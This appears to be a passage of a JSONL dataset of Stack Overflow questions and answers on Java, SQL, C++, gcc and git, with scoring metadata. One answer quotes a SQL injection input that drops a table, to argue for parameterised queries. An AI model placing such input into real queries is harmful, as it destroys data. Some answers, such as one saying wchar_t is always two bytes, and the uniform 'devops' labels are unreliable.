{"id": "hf_e783f782b03d", "question": "<p>I'm trying to get a postgres jdbc connection working in eclipse. It would be nice to use the Data Source Explorer, but for now I'm just trying to get a basic connection. What I have done so far is download the postgres JDBC connector. I then tried two different things. First, Preferences-> Data Management, I tried to add the postgres connector. Second, I added the jar to my project and tried to load the driver using Class.forName(\"org.postgresql.Driver\"); but neither worked. Does anyone have any ideas?</p>\n\n<p>Thanks,\n   Charlie</p>\n", "question_body": "", "answer": "Here's one way to get PostgreSQL connectivity to your application:\nGet an instance of\n```\norg.postgresql.ds.PGSimpleDataSource\n```\nSetup it with values matching to your database (see methods below)\nProceed using the DataSource as you would use any other, I'd assume at this point you'd be interested in the\n```\nDataSource.getConnection()\n```\nmethod.\nThe proprietary methods for configuring this particular DataSource are\n```\nsetServerName()\n```\n,\n```\nsetDatabaseName()\n```\n,\n```\nsetUser()\n```\nand\n```\nsetPassword()\n```\n.\nI wouldn't recommend doing this for anything else than testing though and it's possible your problem lies in the way you're trying to get an instance of the object using\n```\nClass.forName()\n```\nThere's almost a dozen different ways to get an instance of an object with subtle differences, I suggest Googling for it since it is a subject a lot of people have already written about all over the Internet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.200858"}
{"id": "hf_fd326a4df831", "question": "<p>I have the following fields:</p>\n\n<ul>\n<li>Inventory control (16 byte record)\n\n<ul>\n<li>Product ID code (int – 4 bytes)</li>\n<li>Quantity in stock (int – 4 bytes)</li>\n<li>Price (double – 8 bytes)</li>\n</ul></li>\n</ul>\n\n<p>How do I create a fixed length random access file using the above lengths? I tried some examples online, but I either get an EOF exception or random address values when I try to access them.</p>\n\n<p>I tried some more examples and couldn't understand the concept very well. I'm trying a project with it and will try to explore more on it.</p>\n\n<p>Here is some example data. There might be holes in the data where <code>No. in stock</code> could be <code>23 == 023</code>.</p>\n\n<pre><code>          Quantity\nID. No.   In Stock   Price\n\n-------   --------   ------\n 1001       476      $28.35\n 1002       240      $32.56\n 1003       517      $51.27\n 1004       284      $23.75\n 1005       165      $32.25\n</code></pre>\n\n<p>Thanks for the help.</p>\n", "question_body": "", "answer": "java.io.RandomAccessFile is the class you're looking for. Here's an example implementation (you'll probably want to write some unit tests, as I haven't :)\n```\n```\npackage test;\n\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\n\npublic class Raf {\n    private static class Record{\n        private final double price;\n        private final int id;\n        private final int stock;\n\n        public Record(int id, int stock, double price){\n            this.id = id;\n            this.stock = stock;\n            this.price = price;\n        }\n\n        public void pack(int n, int offset, byte[] array){\n            array[offset + 0] = (byte)(n & 0xff);\n            array[offset + 1] = (byte)((n >> 8) & 0xff);\n            array[offset + 2] = (byte)((n >> 16) & 0xff);\n            array[offset + 3] = (byte)((n >> 24) & 0xff);\n        }\n\n        public void pack(double n, int offset, byte[] array){\n            long bytes = Double.doubleToRawLongBits(n);\n            pack((int) (bytes & 0xffffffff), offset, array);\n            pack((int) ((bytes >> 32) & 0xffffffff), offset + 4, array);\n        }\n\n        public byte[] getBytes() {\n            byte[] record = new byte[16];\n            pack(id, 0, record);\n            pack(stock, 4, record);\n            pack(price, 8, record);\n            return record;\n        }\n    }\n\n    private static final int RECORD_SIZE = 16;\n    private static final int N_RECORDS = 1024;\n\n    /**\n     * @param args\n     * @throws IOException \n     */\n    public static void main(String[] args) throws IOException {\n        RandomAccessFile raf = new RandomAccessFile(args[0], \"rw\");\n        try{\n            raf.seek(RECORD_SIZE * N_RECORDS);\n\n            raf.seek(0);\n\n            raf.write(new Record(1001, 476, 28.35).getBytes());\n            raf.write(new Record(1002, 240, 32.56).getBytes());\n        } finally {\n            raf.close();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.283002"}
{"id": "hf_589cb091720d", "question": "<p>I have an application running in tomcat that has a bunch of configuration files that are different for each environment it runs in (dev, testing, and production). But not every line in a config file will be different between environments so there's invariably duplicated information that doesn't get updated if something changes. </p>\n\n<p>Is there a good framework/library that collapses the separate files into one with environment specific blocks? Or some other way of dealing with this?</p>\n", "question_body": "", "answer": "A Properties file is what I've always used.  It's editable by hand as well as in in your software and the Properties object can read itself in and write itself out to the filesystem.  Here's the javadoc page:\nhttp://java.sun.com/j2se/1.4.2/docs/api/java/util/Properties.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.314685"}
{"id": "hf_5d7b2c571f9e", "question": "<p>I have a div that contains several child elements, one of which is a flash movie.</p>\n<p>When rolling over this div, I want it to change style to indicate it is rolled over. My problem is that the <code>mouseover</code> and <code>mouseout</code> events don't always trigger, especially if the user moves the mouse over the flash element too quickly.</p>\n<p>Any suggestions for how I can ensure that a <code>mouseover</code> event always get triggered.</p>\n<p>I can't add an event to the flash movie itself because it is proprietary code that I don't have the source for.</p>\n<p>Also I can't cover the flash movie in a div/image because I need rollover and click events to occur within the flash itself.</p>\n", "question_body": "", "answer": "What you could do is cover the flash element with an invisible div. Place your onmouseover handler on that div, and add a line to the handler to hide the covering div. At the same time, add an\n```\nonmouseover\n```\nfunction to the window - this should get triggered when the mouse leaves the flash element. (I hope).\nThere's a\n```\n<div>\n```\ncovering your flash.\nWhen the user mouses over it:\nIt calls whatever function it needs to do.\nIt hides itself, allowing normal interaction with the SWF.\nIt places a mouseover function on the window which will:\nShow the original\n```\ndiv\n```\nagain.\nCalls your \"mouseout\" function.\nRemoves the\n```\nwindow.onmouseover\n```\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.356495"}
{"id": "hf_1aaaa75e2139", "question": "<p>I'm trying to do a domain lookup in vba with something like this:</p>\n\n<pre><code>DLookup(\"island\", \"villages\", \"village = '\" &amp; txtVillage &amp; \"'\")\n</code></pre>\n\n<p>This works fine until txtVillage is something like Dillon's Bay, when the apostrophe is taken to be a single quote, and I get a run-time error.</p>\n\n<p>I've written a trivial function that escapes single quotes - it replaces \"'\" with \"''\".  This seems to be something that comes up fairly often, but I can't find any reference to a built-in function that does the same.  Have I missed something?</p>\n", "question_body": "", "answer": "It's worse than you think.  Think about what would happen if someone entered a value like this, and you haven't escaped anything:\n```\n```\n'); DROP TABLE [YourTable]\n```\n```\nNot pretty.\nThe reason there's no built in function to simply escape an apostrophe is because the correct way to handle this is to use query parameters.  For an Ole/Access style query you'd set this as your query string:\n```\n```\nDLookup(\"island\", \"village\", \"village = ? \")\n```\n```\nAnd then set the parameter separately.  I don't know how you go about setting the parameter value from vba, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.379389"}
{"id": "hf_d32f7d846c64", "question": "<p>As the title: How would I tell NHibernate, once and for all, that all table and column names are to be quoted in the SQL it generates?</p>\n", "question_body": "", "answer": "I've not tried this, but as far as i can determine based on the\ndocumentation\na custom implementation of the naming strategy allows you to rewrite the table/column names thus also enables you to quote them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.415357"}
{"id": "hf_ded1c54ecad0", "question": "<p>Is it possible to add comments somehow, somewhere?  </p>\n\n<p>I don't pretend to be any sort of expert when using MySQL and certainly don't spend all day in it.  More often than I would like I forget how I intend to use a column (usally the bit ones) and would be very excited if I could add a comment to remind me if 1 is good or bad, for example.  </p>\n\n<p>I'd be happy if it only showed up in something like 'show create table', but any obscure place within the table structures would be better and easier to find than the current post-it notes on my desk.</p>\n", "question_body": "", "answer": "Are you sure you're not looking to use an ENUM column instead? Good MySQL tables should be self-documenting.\nAn alternate approach would be to comment the schema files that have the SQL you use to define your tables (I assume you have those, and that you're not using PHPMyAdmin to grow table schemas on the fly...)\nBut if you insist, the\nINFORMATION_SCHEMA COLUMNS\ntable, specifically the COLUMN_COMMENT column, is probably what you're looking for. It's proprietary MySQL syntax though, so I would tend to avoid it (although the idea of database interoperability is really a joke).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.439308"}
{"id": "hf_fa7797c54665", "question": "<p>I have 2 tables. One (domains) has domain ids, and domain names (dom_id, dom_url).</p>\n\n<p>the other contains actual data, 2 of which columns require a TO and FROM domain names. So I have 2 columns rev_dom_from and rev_dom_for, both of which store the domain name id, from the domains table.</p>\n\n<p>Simple.</p>\n\n<p>Now I need to actually display both domain names on the webpage. I know how to display one or the other, via the LEFT JOIN domains ON reviews.rev_dom_for = domains.dom_url query, and then you echo out the dom_url, which would echo out the domain name in the rev_dom_for column.</p>\n\n<p>But how would I make it echo out the 2nd domain name, in the dom_rev_from column?</p>\n", "question_body": "", "answer": "you'd use another join, something along these lines:\n```\n```\nSELECT toD.dom_url AS ToURL, \n    fromD.dom_url AS FromUrl, \n    rvw.*\n\nFROM reviews AS rvw\n\nLEFT JOIN domain AS toD \n    ON toD.Dom_ID = rvw.rev_dom_for\n\nLEFT JOIN domain AS fromD \n    ON fromD.Dom_ID = rvw.rev_dom_from\n```\n```\nEDIT\n:\nAll you're doing is joining in the table multiple times.   Look at the query in the post: it selects the values from the Reviews tables (aliased as rvw), that table provides you 2 references to the Domain table (a FOR and a FROM).\nAt this point it's a simple matter to left join the Domain table to the Reviews table. Once (aliased as toD) for the FOR, and a second time (aliased as fromD) for the FROM.\nThen in the SELECT list, you will select the DOM_URL fields from both LEFT JOINS of the DOMAIN table, referencing them by the table alias for each joined in reference to the Domains table, and alias them as the ToURL and FromUrl.\nFor more info about aliasing in SQL, read\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.499801"}
{"id": "hf_c1111661f39c", "question": "<p>In C# there is a method <code>SetApartmentState</code> in the class <code>Thread</code>.\nHow do I do the same thing in C++?</p>\n", "question_body": "", "answer": "c++ doesn't have built in thread support. What you are looking for depends on how you are implementing threads in your application. Win32? pthreads? boost::threads? Whichever API you are using will determine the answer to your question.\nEDIT: looks like this may have an example for you:\nhttp://msdn.microsoft.com/en-us/library/system.threading.apartmentstate.aspx\nIt looks like it applies to managed c++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.519649"}
{"id": "hf_d6e76a3a4744", "question": "<p>How can I find out the folder where the windows service .exe file is installed dynamically?</p>\n\n<pre><code>Path.GetFullPath(relativePath);\n</code></pre>\n\n<p>returns a path based on <code>C:\\WINDOWS\\system32</code> directory.</p>\n\n<p>However, the <code>XmlDocument.Load(string filename)</code> method appears to be working against relative path inside the directory where the service .exe file is installed to.</p>\n", "question_body": "", "answer": "Try\n```\n```\nSystem.Reflection.Assembly.GetEntryAssembly().Location\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.540380"}
{"id": "hf_ad73205537b4", "question": "<p>The <code>gcc -S</code> option will generate assembly code in AT&amp;T syntax, is there a way to generate files in Intel syntax?  Or is there a way to convert between the two?</p>\n", "question_body": "", "answer": "Use\n```\n-masm=intel\n```\n```\n```\ngcc -S -masm=intel -Og -fverbose-asm test.c\n```\n```\nThat works with GCC, and clang3.5 and later.\nGCC manual\n:\n```\n-masm=dialect\n```\nOutput asm instructions using selected dialect.  Supported choices\nare intel or att (the default one).  Darwin does not support intel.\nFor Mac OSX, note that by default, the\n```\ngcc\n```\ncommand actually runs clang.  Modern clang supports\n```\n-masm=intel\n```\nas a synonym for this, but\nthis always works with clang\n:\n```\n```\nclang++ -S -mllvm --x86-asm-syntax=intel test.cpp\n```\n```\nNote that\nuntil clang 14\n, this does\nnot\nchange how clang processes inline\n```\nasm()\n```\nstatements,\nunlike for GCC\n.\nThese are the options used by Matt Godbolt's Compiler Explorer site by default:\nhttps://godbolt.org/\nSee also\nHow to remove \"noise\" from GCC/clang assembly output?\nfor other options and tips for getting asm output that's interesting to look at.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.577968"}
{"id": "hf_f981a5490c36", "question": "<p>Let's say I wanted to have an application that could easily switch the DB at the back-end.<br>\nI'm mostly thinking of SQL Server as the primary back-end, but with the flexibility to go another DB engine.  Firebird and PostGreSQL seem to have (from my brief wikipedia excursion) the most in common w/ SQL Server (plus they are free).</p>\n\n<p>How similar would the DB setup, access, queries, etc.. be for Firebird, PostGreSQL and MS SQL Server?</p>\n", "question_body": "", "answer": "Unfortunately, SQL varies widely across providers. It's almost impossible to write all but the most trivial SQL to run on a number of RDBMS - and then you're into lowest common denominator territory. Far better to use an abstraction layer to handle at least the connection to the database (inc. access, sending queries), and either an ORM to handle the SQL itself or per-provider SQL.\nIf you want to look into how they vary - good examples are auto-incrementing ids and obtaining the ID of the last inserted record.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.633657"}
{"id": "hf_5b7e488a0992", "question": "<p>In many symbolic math systems, such as Matlab or Mathematica, you can use a variable like <code>Ans</code> or <code>%</code> to retrieve the last computed value. Is there a similar facility in the Python shell?</p>\n", "question_body": "", "answer": "Underscore.\n```\n```\n>>> 5+5\n10\n>>> _\n10\n>>> _ + 5\n15\n>>> _\n15\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.660108"}
{"id": "hf_caf93c80be7a", "question": "<p>In my experience Meta-templates are really fun (when your compilers are compliant), and can give good performance boosts, and luckily I'm surrounded by seasoned C++ programmers that also grok meta-templates, however occasionally a new developer arrives and can't make heads or tails of some of the meta-template tricks we use (mostly Andrei Alenxandrescu stuff), for a few weeks until he gets initiated appropriately. </p>\n\n<p>So I was wondering what's the situation for other C++ programmers out there?\nShould meta-template programming be something C++ programmers should be \"required\" to know (excluding entry level students of course), or not?</p>\n\n<p>Edit: Note my question is related to production code and not little samples or prototypes</p>\n", "question_body": "", "answer": "If you can you find enough candidates who really know template meta-programing then by all means, require it.  You will be showing a lot of qualified and potentially productive people the door (there are plenty of legitimate reasons not to know how to do this, namely that if you do it on a lot of platforms, you will create code that can't compile, or that average developers will have trouble understanding).  Template meta-programming is great, but let's face it, it's pushing C++ to the limit.\n   Now, a candidate should probably understand basics (compute n! at compile time, or at least explain how it works if they are shown the code).  If your new developers are reliably becoming productive within a few weeks, then your current recruiting is probably pretty good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.688933"}
{"id": "hf_3f798c5563fb", "question": "<p>I have access to an Oracle server that has some databases that I would like to access. However, the machine that I have access from has none of the oracle client software. Is there any alternative to oracle's client software the provides the functionality of something like MySQL's mysql or Postgres' psql? I'd like to be able to poke around a bit in the database before writing software against it.</p>\n", "question_body": "", "answer": "If you download the\nfree\nOracle Instant Client\nyou'd be able to use any JDBC or ODBC Database tool such as\nDbVisualizer\nor\nSquirrelSQL\n.  Those are GUI tools; I've not come across a JDBC command line tool but there may be one out there.\nAlternatively, there is an\nInstant Client version of SQL*Plus\nwhich will give you an Oracle\n```\nsqlplus\n```\ncommand line without a full Oracle install.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.749721"}
{"id": "hf_4fac5ce9a89b", "question": "<p>In C#, how do I get the name of the drive that the Operating System is installed on?</p>\n", "question_body": "", "answer": "This should do it for you:\n```\n```\nPath.GetPathRoot(Environment.SystemDirectory)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.774054"}
{"id": "hf_3626ac2ad191", "question": "<p>I am doing 2nd year computer science and we have a software engineering group project. There are 5 people in the group and we would like to build a web application in php. Please suggest some ideas for me </p>\n", "question_body": "", "answer": "How about a\ncontent management system\n?\nThis allows you to show off every part of your web development skill and it shouldn't be hard to do with a 5 person team. CMSs often include file uploads, file management and on-line text editors (something like TinyMCE).\nThey're actually quite fun to develop and when the system is completed it has a great \"wow\" factor. Especially when you show people how you can edit the contents of your website on-line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.825027"}
{"id": "hf_ec91636c1242", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/194465/how-to-parse-a-string-to-an-int-in-c\">How to parse a string to an int in C++?</a>  </p>\n</blockquote>\n\n\n\n<p>How do you convert a C++ string to an int?</p>\n\n<p>Assume you are expecting the string to have actual numbers in it (\"1\", \"345\", \"38944\", for example).</p>\n\n<p>Also, let's assume you don't have boost, and you really want to do it the C++ way, not the crufty old C way.</p>\n", "question_body": "", "answer": "Use the C++ streams.\n```\n```\nstd::string       plop(\"123\");\nstd::stringstream str(plop);\nint x;\n\nstr >> x;\n\n/* Lets not forget to error checking */\nif (!str)\n{\n     // The conversion failed.\n     // Need to do something here.\n     // Maybe throw an exception\n}\n```\n```\nPS. This basic principle is how the boost library\n```\nlexical_cast<>\n```\nworks.\nMy favorite method is the boost\n```\nlexical_cast<>\n```\n```\n```\n#include <boost/lexical_cast.hpp>\n\nint x = boost::lexical_cast<int>(\"123\");\n```\n```\nIt provides a method to convert between a string and number formats and back again. Underneath it uses a string stream so anything that can be marshaled into a stream and then un-marshaled from a stream (Take a look at the >> and << operators).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.848341"}
{"id": "hf_bf51d1932a33", "question": "<p>What is the difference between UTF and UCS.</p>\n\n<p>What are the best ways to represent not European character sets (using UTF) in C++ strings. I would like to know your recommendations for:</p>\n\n<ul>\n<li>Internal representation inside the code\n\n<ul>\n<li>For string manipulation at run-time</li>\n<li>For using the string for display purposes.</li>\n</ul></li>\n<li>Best storage representation (<b>i.e.</b> In file)</li>\n<li>Best on wire transport format (Transfer between application that may be on different architectures and have a different standard locale)</li>\n</ul>\n", "question_body": "", "answer": "UTC is Coordinated Universal Time, not a character set (I didn't find any charset called UTC).\nFor internal representation, you may want to use\n```\nwchar_t\n```\nfor each character, and std::wstring for strings. They use exactly 2 bytes for each character, so seeking and random access will be fast.\nFor storage, if most of the data are not ASCII (i.e. code >= 128), you may want to use UTF-16 which is almost the same as serialized\n```\nwstring\n```\nand\n```\nwchar_t\n```\n.\nSince UTF-16 can be little endian or big endian, for wire transport, try to convert it to UTF-8, which is architecture-independent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.871804"}
{"id": "hf_9b119d2af4a3", "question": "<p>Is it possible to search for an object by one of its properties in a Generic List?</p>\n\n<pre><code>Public Class Customer\n\n    Private _id As Integer\n\n    Private _name As String\n\n    Public Property ID() As Integer\n        Get\n            Return _id\n        End Get\n        Set\n            _id = value\n        End Set\n    End Property\n\n    Public Property Name() As String\n        Get\n            Return _name\n        End Get\n        Set\n            _name = value\n        End Set\n    End Property\n\n    Public Sub New(id As Integer, name As String)\n        _id = id\n        _name = name\n    End Sub\n\nEnd Class\n</code></pre>\n\n<p>Then loading and searching</p>\n\n<pre><code>Dim list as new list(Of Customer)\n\nlist.Add(New Customer(1,\"A\")\n\nlist.Add(New Customer(2,\"B\")\n</code></pre>\n\n<p>How can I return customer object with id =1? Does this have to do with the \"Predicate\" in Generics?</p>\n\n<p>Note: I am doing this in VB.NET.</p>\n", "question_body": "", "answer": "If you are using .NET 3.5 this can be done with\nLINQ to Objects\n:\nHow to: Query an ArrayList with LINQ\nIf not, in .NET 2.0 you can use the\n```\nFind\n```\nmethod of the list\n.\nThe idea is that you will need to provide an method that return true if a property of your object satisfies a certain condition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:43.965884"}
{"id": "hf_f6f045f558ad", "question": "<p>So what's the best way to create new tables in a Sqlite database in Rails 2. I have created the database using rake db:migrate command. So should I write individual sql scripts to create a database or use rake somehow. I don't need scaffolding.</p>\n", "question_body": "", "answer": "If you are not using scaffolding then you should use\n```\nscript/generate migration\n```\nto create a migration file for each table. There is no need to use sql scripts. After creating some migrations you can apply them to your database using rake db:migrate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.014309"}
{"id": "hf_ce7c13122a17", "question": "<p>I have a Stored procedure which schedules a job. This Job takes a lot of time to get completed (approx 30 to 40 min). I need to get to know the status of this Job.\nBelow details would help me</p>\n\n<p>1) How to see the list of all jobs that have got scheduled for a future time and are yet to start</p>\n\n<p>2) How to see the the list of jobs running and the time span from when they are running</p>\n\n<p>3) How to see if the job has completed successfully or has stoped in between because of any error.</p>\n", "question_body": "", "answer": "You haven't specified how would you like to see these details.\nFor the first sight I would suggest to check\nServer Management Studio\n.\nYou can see the jobs and current statuses in the SQL Server Agent part, under Jobs. If you pick a job, the Property page shows a link to the Job History, where you can see the start and end time, if there any errors, which step caused the error, and so on.\nYou can specify alerts and notifications to email you or to page you when the job finished successfully or failed.\nThere is a Job Activity Monitor, but actually I never used it. You can have a try.\nIf you want to check it via T-SQL, then I don't know how you can do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.038333"}
{"id": "hf_5b3dae26169d", "question": "<p>I need to use an alias in the WHERE clause, but It keeps telling me that its an unknown column. Is there any way to get around this issue? I need to select records that have a rating higher than x. Rating is calculated as the following alias:</p>\n\n<pre><code>sum(reviews.rev_rating)/count(reviews.rev_id) as avg_rating\n</code></pre>\n", "question_body": "", "answer": "You could use a HAVING clause, which\ncan\nsee the aliases, e.g.\n```\n```\nHAVING avg_rating>5\n```\n```\nbut in a where clause you'll need to repeat your expression, e.g.\n```\n```\nWHERE (sum(reviews.rev_rating)/count(reviews.rev_id))>5\n```\n```\nBUT! Not all expressions will be allowed - using an aggregating function like SUM will not work, in which case you'll need to use a HAVING clause.\nFrom the\nMySQL Manual\n:\nIt is not allowable to refer to a\n  column alias in a WHERE clause,\n  because the column value might not yet\n  be determined when the WHERE  clause\n  is executed. See\nSection B.1.5.4,\n  “Problems with Column Aliases”\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.067505"}
{"id": "hf_01b539810c9f", "question": "<p>I'm experimenting with an updated build system at work; currently, I'm trying to find a good way to set compiler &amp; flags depending on the target platform. </p>\n\n<p>What I would like to do is something like</p>\n\n<pre><code>switch $(PLATFORM)_$(BUILD_TYPE)\n  case \"Linux_x86_release\"\n     CFLAGS = -O3\n  case \"Linux_x86_debug\"\n     CFLAGS = -O0 -g\n  case \"ARM_release\"\n     CC = armcc\n     AR = armlink\n     CFLAGS = -O2 -fx\n     ...\n</code></pre>\n\n<p>which is not supported by GNU Make. Now, my first thought was to just do</p>\n\n<pre><code>-include $(PLATFORM)_$(BUILD_TYPE)\n</code></pre>\n\n<p>which is a pretty decent solution, however, it makes it hard to get an overview of what differs between files, not to mention that I'm looking forward to writing &amp; maintaining a good 60-80 files, each containing a set of variable definitions.</p>\n\n<p>Does anyone happen to know a better way to accomplish this? I.e. setting a set of flags and other options based on another variable?</p>\n", "question_body": "", "answer": "Configuring such parameters would be the task of a\n```\nconfigure\n```\nscript.\nThat being said, you can look into the syntax for\nconditionals\nand\nconditional functions\n. For example, you could try the following:\n```\n```\nifeq ($(PLATFORM)_$(BUILD_TYPE),Linux_x86_release)\n    CFLAGS = -O3\nendif\nifeq ($(PLATFORM)_$(BUILD_TYPE),Linux_x86_debug)\n    CFLAGS = -O0 -g\nendif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.091982"}
{"id": "hf_654f334afa9b", "question": "<p>How do I generate excel reports with rich formatting including charts with a ASP.Net application?</p>\n\n<p>As per <a href=\"http://support.microsoft.com/kb/257757\" rel=\"nofollow noreferrer\">http://support.microsoft.com/kb/257757</a> server-side automation of office is not advisable and also our admin does not allow installation of office on the server</p>\n\n<p>Customer is not ready to spend a lot on 3rd party components</p>\n\n<p>A must requirement is to retain the formatting used by the end user already and also use ONLY excel 2003.</p>\n\n<p>Thanks</p>\n\n<p><strong>Update:</strong> We are using ExcelXmlWriter from <a href=\"http://www.carlosag.net/Tools/ExcelXmlWriter/Generator.aspx\" rel=\"nofollow noreferrer\">http://www.carlosag.net/Tools/ExcelXmlWriter/Generator.aspx</a> as it was the most fit.</p>\n", "question_body": "", "answer": "Two options you might consider:\n1) The ReportViewer control.  You can design your report, including charts, and have it output to excel.  You can allow the report to be shown within the control, or bypass that and export it directly to excel.  The version it will be open in depends on what the client has installed.\n2) You could create a page that with the lay out you are seeking using a GridView, or plain old HTML tables with your chart images embedded.  Modify the response headers so this page downloads as an excel file.\nIf you need to preserve Excel charts that change when data is changed in the resulting Excel file, I'm not sure if that is possible without the use of third party controls or Office automation.  The options above work if you are embedding a chart image created by your asp.net app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:44.116490"}
{"id": "hf_3c2a2ad9ae83", "question": "<p>I've a small project that I want to share with a few others on a machine that we all have access to. I created a bare copy of the local repo with</p>\n\n<pre><code>git clone --bare --no-hardlinks path/to/.git/ repoToShare.git\n</code></pre>\n\n<p>I then moved repoToShare.git to the server.</p>\n\n<p>I can check it out with the following:</p>\n\n<pre><code>git clone ssh://user@address/opt/gitroot/repoToShare.git/ test\n</code></pre>\n\n<p>I can then see everything in the local repo and make commits against that. When I try to push changes back to the remote server I get the following error.</p>\n\n<pre><code>*** Project description file hasn't been set\nerror: hooks/update exited with error code 1\nerror: hook declined to update refs/heads/master\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Git installs a bunch of pre-configured hooks in the hooks directory, out of the box they do not execute. If you happen to allow execute on them (Eg. chmod +x) then git will try to run them. The particular error pops up cause the default update is failing to run. To fix, delete the default update hook.\nDoes\nthis link\nhelp? From the text:\nA colleague of mine experienced a\n  similar issue here where push was not\n  working. You could not push to a local\n  or remote public repository. He was\n  getting 